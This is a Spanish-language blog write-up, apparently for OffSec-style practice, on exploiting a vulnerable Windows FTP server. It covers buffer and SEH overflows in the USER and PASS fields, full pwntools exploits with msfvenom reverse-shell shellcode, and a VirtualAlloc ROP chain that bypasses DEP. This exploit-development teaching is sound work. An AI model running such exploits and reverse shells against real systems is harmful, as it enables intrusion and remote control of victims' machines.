xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



OffSec

FTP



Reversing


Al ejecutar el binario muestra que se ha iniciado un servidor por algun puerto y por el nombre podemos pensar que es el 21, pero podemos comprobarlo con TCPView

PS C:\Users\user\Desktop> .\ftp.exe
Waiting for client connection..  

❯ netcat 192.168.100.5 21
220 Welcome to Simple FTP Server NG  
USER admin
331 User OK, password required
PASS admin

Para poder depurar el programa facilmente abriremos la aplicación dentro de WinDbg

Si miramos los detalles del módulo con mona podemos ver que no contiene ninguna protección por lo que a la hora de hacer un exploit deberia ser relativamente sencillo

0:000> !py mona modules
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py modules

[+] Processing arguments and criteria
    - Pointer access level : X
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
-----------------------------------------------------------------------------------------------------------------------------------------------------  
 Module info :
-----------------------------------------------------------------------------------------------------------------------------------------------------  
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | CFG   | NXCompat | OS Dll | Version, Modulename & Path, DLLCharacteristics
-----------------------------------------------------------------------------------------------------------------------------------------------------  
 0x75eb0000 | 0x76132000 | 0x00282000 | True   | False   | True  | True  |  True    | True   | [KERNELBASE.dll] (C:\Windows\SysWOW64\KERNELBASE.dll)
 0x72ec0000 | 0x72f11000 | 0x00051000 | True   | False   | True  | True  |  True    | True   | [mswsock.dll] (C:\Windows\SysWOW64\mswsock.dll)
 0x00400000 | 0x00429000 | 0x00029000 | False  | True    | False | False |  False   | False  | [ftp.exe] (C:\Users\user\Desktop\ftp.exe)
 0x757b0000 | 0x758a0000 | 0x000f0000 | True   | False   | True  | True  |  True    | True   | [KERNEL32.DLL] (C:\Windows\SysWOW64\KERNEL32.DLL)
 0x77770000 | 0x77922000 | 0x001b2000 | True   | False   | True  | True  |  True    | True   | [ntdll.dll] (ntdll.dll)
 0x75400000 | 0x754ba000 | 0x000ba000 | True   | False   | True  | True  |  True    | True   | [RPCRT4.dll] (C:\Windows\SysWOW64\RPCRT4.dll)
 0x774c0000 | 0x7751f000 | 0x0005f000 | True   | False   | True  | True  |  True    | True   | [WS2_32.dll] (C:\Windows\SysWOW64\WS2_32.dll)
-----------------------------------------------------------------------------------------------------------------------------------------------------  

[+] Preparing output file 'modules.txt'
    - (Re)setting logfile C:\mona\modules.txt

La función main inicia llamando a la función WSAStartup para inicializar winsock y luego llama a la función socket para crear un socket y este devuelve un descriptor

Ahora utiliza htons para darle formato al puerto 21 y posteriormente llamar a bind y listen para ponerse en escucha de conexiones entrantes en ese puerto

Luego llama a accept que recibe la conexión de un cliente y devuelve un descriptor

Una vez recibe el la conexión llama a la función printf para mostrar en consola que se recibió una conexión y luego ejecuta un tipo de función que llamamos memcpy

Con send muestra el banner y luego recibe 0x800 bytes utilizando la función recv almacenandolo en un buffer, por ahora llamaremos a esa la variable command

Luego de mostrar un mensaje compara si los primeros 4 bytes del buffer llamado command con USER, si condición se cumple y devuelve 0 salta a la linea roja

Luego copia el argumento a un buffer en ebp - 440 con la función memcpy, este buffer soporta menos datos de lo que se reciben ocasionando un buffer overflow

Podemos intentar explotar el buffer overflow enviando 500 bytes en el campo USER

#!/usr/bin/python3
from pwn import remote, cyclic

payload = cyclic(500)

shell = remote("192.168.100.5", 21)
shell.sendlineafter(b"\r\n", b"USER " + payload)  

Al ejecutar el exploit el programa corrompe y sobrescribimos el return address con una parte del patrón ciclico, el resto de bytes se guardan en el stack, si le pasamos el valor a cyclic nos dice que el offset para sobrescribir el return address es de 444

0:000> g
(b5c.28a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=003b0000 ecx=82cde15f edx=00760000 esi=00766650 edi=0076a8a8  
eip=6561616c esp=0019ff34 ebp=6561616b iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246  
6561616c ??              ???

0:000> db esp L30
0019ff34  6d 61 61 65 6e 61 61 65-6f 61 61 65 70 61 61 65  maaenaaeoaaepaae
0019ff44  71 61 61 65 72 61 61 65-73 61 61 65 74 61 61 65  qaaeraaesaaetaae
0019ff54  75 61 61 65 76 61 61 65-77 61 61 65 78 61 61 65  uaaevaaewaaexaae

❯ cyclic -l 0x6561616c  
444

Si aumentamos los bytes de 500 a 1000 el programa corrompe pero ahora ya no controlamos el eip lo que si sobrescribimos es la estructura SEH, el offset hacia la estructura nos dice que es 496, encontramos una vulnerabilidad de SEH Overflow

#!/usr/bin/python3
from pwn import remote, cyclic

payload = cyclic(1000)

shell = remote("192.168.100.5", 21)
shell.sendlineafter(b"\r\n", b"USER " + payload)  

0:000> g
(2ad8.a34): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001a0000 ebx=00000000 ecx=0000006e edx=0019ee8c esi=0019eea0 edi=0019f2e8
eip=0040749f esp=0019ee60 ebp=0019ee74 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010207
ftp+0x749f:
0040749f 8808            mov     byte ptr [eax],cl          ds:002b:001a0000=41  

0:000> !exchain
0019ff64: 6661617a
Invalid exception stack at 65616179

❯ cyclic -l 0x65616179  
496

❯ cyclic -l 0x6661617a  
500

Si el campo USER tiene una vulnerabilidad en la entrada de datos es probable que otros campos también, si enviamos el payload en el campo PASS ocasionamos también un buffer overflow, ahora el offset para sobrescribir el return address es de 269, con esta ya encontramos 3 vulnerabilidades de corrupción de memoria

#!/usr/bin/python3
from pwn import remote, cyclic

payload = cyclic(1000)

shell = remote("192.168.100.5", 21)
shell.sendlineafter(b"\r\n", b"USER username")
shell.sendlineafter(b"\r\n", b"PASS" + payload)  

0:000> g
(475c.5d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00271000 ecx=ffd7af90 edx=00424314 esi=00666848 edi=0066a920  
eip=73636161 esp=0019f3bc ebp=72636161 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246  
73636161 ??              ???

0:000> db esp L30
0019f3bc  61 61 63 74 61 61 63 75-61 61 63 76 61 61 63 77  aactaacuaacvaacw
0019f3cc  61 61 63 78 61 61 63 79-61 61 63 7a 61 61 64 62  aacxaacyaaczaadb
0019f3dc  61 61 64 63 61 61 64 64-61 61 64 65 61 61 64 66  aadcaaddaadeaadf

❯ cyclic -l 0x73636161  
269


Explotación


Para comprobarlo enviaremos 269 A's hasta antes de sobreescribirlo, en ese registro enviaremos 4 B's y simulando un shellcode dejaremos 100 C's en el stack

#!/usr/bin/python3
from pwn import remote

offset = 269
junk = b"A" * offset

payload  = b""
payload += junk
payload += b"B" * 4
payload += b"C" * 100

shell = remote("192.168.100.5", 21)
shell.sendlineafter(b"\r\n", b"USER username")
shell.sendlineafter(b"\r\n", b"PASS" + payload)  

Al enviar el exploit podemos ver que eip vale 0x42424242 que son las B's y justo en el stack estan las C's, la idea sera saltar al esp para interpretar las instrucciones

0:000> g
(26d0.32dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0024f000 ecx=ffd7af90 edx=00424314 esi=004989d8 edi=0049aba8  
eip=42424242 esp=0019f3bc ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246  
42424242 ??              ???

0:000> db esp l30
0019f3bc  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0019f3cc  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0019f3dc  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC

Para saltar al stack podemos buscar gadgets con ropper, aunque no encontramos un jmp esp; encontramos 2 gadgets que ejecutan un call esp; que es equivalente

❯ ropper --file ftp.exe --jmp esp  

JMP Instructions
================

0x004016be: call esp;
0x0040d50e: call esp;

2 gadgets found

Ya que podemos ejecutar instrucciones con este exploit solo nos queda generar un nuevo shellcode usando msfvenom que envie una reverse shell por el puerto 443

❯ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.73 LPORT=443 -f python -v shellcode  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of python file: 1823 bytes
shellcode =  b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff"
shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"
shellcode += b"\x6a\x05\x68\xc0\xa8\x64\x49\x68\x02\x00\x01"
shellcode += b"\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74"
shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75"
shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d"
shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12"
shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc"
shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2"
shellcode += b"\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f"
shellcode += b"\x6a\x00\x53\xff\xd5"

El exploit es simple, simplemente escribe A's hasta el offset del return address donde salta al esp, y en el stack se encuentra el shellcode donde de la revshell

#!/usr/bin/python3
from pwn import remote, p32

offset = 269
junk = b"A" * offset

shellcode =  b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff"
shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"
shellcode += b"\x6a\x05\x68\xc0\xa8\x64\x49\x68\x02\x00\x01"
shellcode += b"\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74"
shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75"
shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d"
shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12"
shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc"
shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2"
shellcode += b"\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f"
shellcode += b"\x6a\x00\x53\xff\xd5"                          

payload  = b""
payload += junk
payload += p32(0x004016be) # call esp;
payload += shellcode

shell = remote("192.168.100.5", 21)
shell.sendlineafter(b"\r\n", b"USER username")
shell.sendlineafter(b"\r\n", b"PASS" + payload)

Finalmente al ejecutar nuestro exploit de forma remota obtenemos una reverse shell

❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 21: Done  
[*] Closed connection to 192.168.100.5 port 21

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.5 60614
Microsoft Windows [Versión 10.0.22621.4317]
(c) Microsoft Corporation. Todos los derechos reservados.  

C:\Users\user\Desktop> whoami
windows\user

C:\Users\user\Desktop>

Aunque no es necesario podemos habilitar una protección, en este caso DEP que quita la ejecución del stack por lo que el exploit que hicimos antes no funcionará

Al ejecutar el exploit el programa corrompe, si miramos la protección del esp podemos ver que tiene asignado un 4 que es equivalente a PAGE_READWRITE

0:000> g
(2c74.9bc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00219000 ecx=ffd7af90 edx=00424314 esi=004c97e0 edi=004cd8c0  
eip=0019f3bc esp=0019f3b8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246  
0019f3bc fc              cld

0:000> !vprot esp
BaseAddress:       0019f000
AllocationBase:    000a0000
AllocationProtect: 00000004  PAGE_READWRITE
RegionSize:        00001000
State:             00001000  MEM_COMMIT
Protect:           00000004  PAGE_READWRITE
Type:              00020000  MEM_PRIVATE

Hay varias funciones que nos permiten cambiar este privilegio entre ellas VirtualProtect, WriteProcessMemory o la que usaremos VirtualAlloc ya que al reservar memoria se le permite indicar la proteccion de esta por lo que si reservamos una página del stack conseguimos cambiar sus protecciones a algo con EXECUTE

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,  
  [in]           DWORD  flProtect
);

Veamos que debemos pasar como argumentos, lpAddress será la dirección donde se revervara memoria, en este caso será el stack o esp, luego tenemos dwSize en este caso solo reservaremos el tamaño de una página, luego viene flAllocationType la documentación nos dice que si indicamos una dirección debemos usar MEM_COMMIT o 0x1000, finalmente flProtect donde usaremos PAGE_EXECUTE_READWRITE o 0x40 para hacer el stack ejecutable y asi ejecutar el shellcode de forma correcta

lpAddress        = &esp
dwSize           = 0x1
flAllocationType = 0x1000  
flProtect        = 0x40

Algo a tener en cuenta es que los argumentos se pasan en el stack, como tenemos DEP habilitado hay pocos gadgets que ejecuten un push de un solo registro sin intentar ejecutar algo más, un método es utilizar el gadget pushad; ret; que ejecuta un push de todos los registros en un orden especifico que es el siguiente

Temp := (ESP);
Push(EAX);
Push(ECX);
Push(EDX);
Push(EBX);
Push(Temp);
Push(EBP);
Push(ESI);
Push(EDI);

El ultimo argumento lpAddress indica el inicio de donde reservaremos memoria asi que tenemos que adaptarnos al orden de pushad, tendremos que guardar los valores de los otros 3 argumentos en orden inverso a partir del push de Temp o esp

$ecx = flProtect
$edx = flAllocationType
$ebx = dwSize
$esp = lpAddress

Para encontrar los gadgets necesarios se puede utilizar ropper en el modo consola

❯ ropper --file ftp.exe --console
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%  
(ftp.exe/PE/x86)>

Guardamos los valores de los argumentos en los registros que definimos antes, para ello podemos usar gadgets pop ???; ret; y como 0x00 no es un badchar nos permite enviar los valores directamente a diferencia de si lo fuera

rop  = b""
rop += p32(0x0040245b) # pop ecx; ret;
rop += p32(0x40)       # flProtect
rop += p32(0x0041b98e) # pop edx; ret;
rop += p32(0x1000)     # flAllocationType  
rop += p32(0x00402b3d) # pop ebx; ret;
rop += p32(0x1)        # dwSize

Como nos queda un registro al inicio de pushad y no afectará al resto guardaremos la función VirtualAlloc en eax para poder saltar a el, antes obtendremos su IAT

rop += p32(0x0041db0f) # pop eax; ret;
rop += p32(0x0041e008) # VirtualAlloc()  

Nos quedan 3 registros antes de Temp, en edi que sera el primero en ejecutarse simplemente ejecutaremos un ret y pasaremos al valor de esi que ejecutará VirtualAlloc, al terminar la función ejecutará el pop rbp que limpiara el stack para ejecutar la siguiente instrucción que será el salto al shellcode a ejecutar

rop += p32(0x00401008) # pop ebp; ret;
rop += p32(0x00401008) # pop ebp; ret;
rop += p32(0x00402659) # pop esi; ret;
rop += p32(0x0041532b) # jmp dword ptr [eax];  
rop += p32(0x00404c75) # pop edi; ret;
rop += p32(0x00401009) # ret;

Ya con todos los registros establecidos solo nos queda ejecutar el pushad; ret;, luego de salir de VirtualAlloc ejecutaremos un jmp esp para ejecutar el shellcode

rop += p32(0x00402d3f) # pushad; inc edx; add dh, dh; ret;  
rop += p32(0x004016be) # call esp;

El exploit ejecutará la cadena rop que creamos para modificar los permisos del stack utilizando VirtualAlloc y una vez este sea ejecutable saltará al shellcode en el esp

#!/usr/bin/python3
from pwn import remote, p32

offset = 269
junk = b"A" * offset

rop  = b""
rop += p32(0x0040245b) # pop ecx; ret;
rop += p32(0x40)       # flProtect
rop += p32(0x0041b98e) # pop edx; ret;
rop += p32(0x1000)     # flAllocationType
rop += p32(0x00402b3d) # pop ebx; ret;
rop += p32(0x1)        # dwSize
rop += p32(0x00401008) # pop ebp; ret;
rop += p32(0x00401008) # pop ebp; ret;
rop += p32(0x00402659) # pop esi; ret;
rop += p32(0x0041532b) # jmp dword ptr [eax];
rop += p32(0x00404c75) # pop edi; ret;
rop += p32(0x00401009) # ret;
rop += p32(0x0041db0f) # pop eax; ret;
rop += p32(0x0041e008) # VirtualAlloc()
rop += p32(0x00402d3f) # pushal; inc edx; add dh, dh; ret;
rop += p32(0x004016be) # call esp;

shellcode =  b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff"
shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"
shellcode += b"\x6a\x05\x68\xc0\xa8\x64\x49\x68\x02\x00\x01"
shellcode += b"\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74"
shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75"
shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d"
shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12"
shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc"
shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2"
shellcode += b"\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f"
shellcode += b"\x6a\x00\x53\xff\xd5"                          

payload  = b""
payload += junk
payload += rop
payload += shellcode

shell = remote("192.168.100.5", 21)
shell.sendlineafter(b"\r\n", b"USER username")  
shell.sendlineafter(b"\r\n", b"PASS" + payload)

Para ver que funcione podemos establecer un breakpoint en VirtualAlloc, cuando llega ahi podemos comprobar que los parametros esten establecidos correctamente

0:000> bp KERNEL32!VirtualAllocStub

0:000> g
Breakpoint 0 hit
eax=0041e008 ebx=00000001 ecx=00000040 edx=00002001 esi=0041532b edi=00401009  
eip=757c81b0 esp=0019f3dc ebp=00401008 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202  
KERNEL32!VirtualAllocStub:
757c81b0 8bff            mov     edi,edi

0:000> dds esp + 4 L4
0019f3e0  0019f3f4
0019f3e4  00000001
0019f3e8  00001000
0019f3ec  00000040

Luego de ejecutar la función si volvemos a ver la protección del stack paso de 0x4 a 0x40 que es igual a PAGE_EXECUTE_READWRITE, esta protección ya deberia permitirnos ejecutar el shellcode asi que continuamos con la ejecución del exploit

0:000> pt
eax=0019f000 ebx=00000001 ecx=b1df0000 edx=0019f000 esi=0041532b edi=00401009  
eip=75ff38ee esp=0019f3dc ebp=00401008 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
KERNELBASE!VirtualAlloc+0x4e:
75ff38ee c21000          ret     10h

0:000> !vprot esp
BaseAddress:       0019f000
AllocationBase:    000a0000
AllocationProtect: 00000004  PAGE_READWRITE
RegionSize:        00001000
State:             00001000  MEM_COMMIT
Protect:           00000040  PAGE_EXECUTE_READWRITE
Type:              00020000  MEM_PRIVATE

Cuando llegamos al gadget call esp podemos ver que en el stack esta el shellcode

0:000> pc
eax=0019f000 ebx=00000001 ecx=b1df0000 edx=0019f000 esi=0041532b edi=00401009  
eip=004016be esp=0019f3f8 ebp=0041e008 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
ftp+0x16be:
004016be ffd4            call    esp {0019f3f8}

0:000> u esp
0019f3f8 fc              cld
0019f3f9 e882000000      call    0019f480
0019f3fe 60              pushad
0019f3ff 89e5            mov     ebp,esp
0019f401 31c0            xor     eax,eax
0019f403 648b5030        mov     edx,dword ptr fs:[eax+30h]
0019f407 8b520c          mov     edx,dword ptr [edx+0Ch]
0019f40a 8b5214          mov     edx,dword ptr [edx+14h]

Al ejecutar el exploit utiliza un ropchain para evadir el DEP y obtenemos una revshell

❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 21: Done  
[*] Closed connection to 192.168.100.5 port 21

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.5 60614
Microsoft Windows [Versión 10.0.22621.4317]
(c) Microsoft Corporation. Todos los derechos reservados.  

C:\Users\user\Desktop> whoami
windows\user

C:\Users\user\Desktop>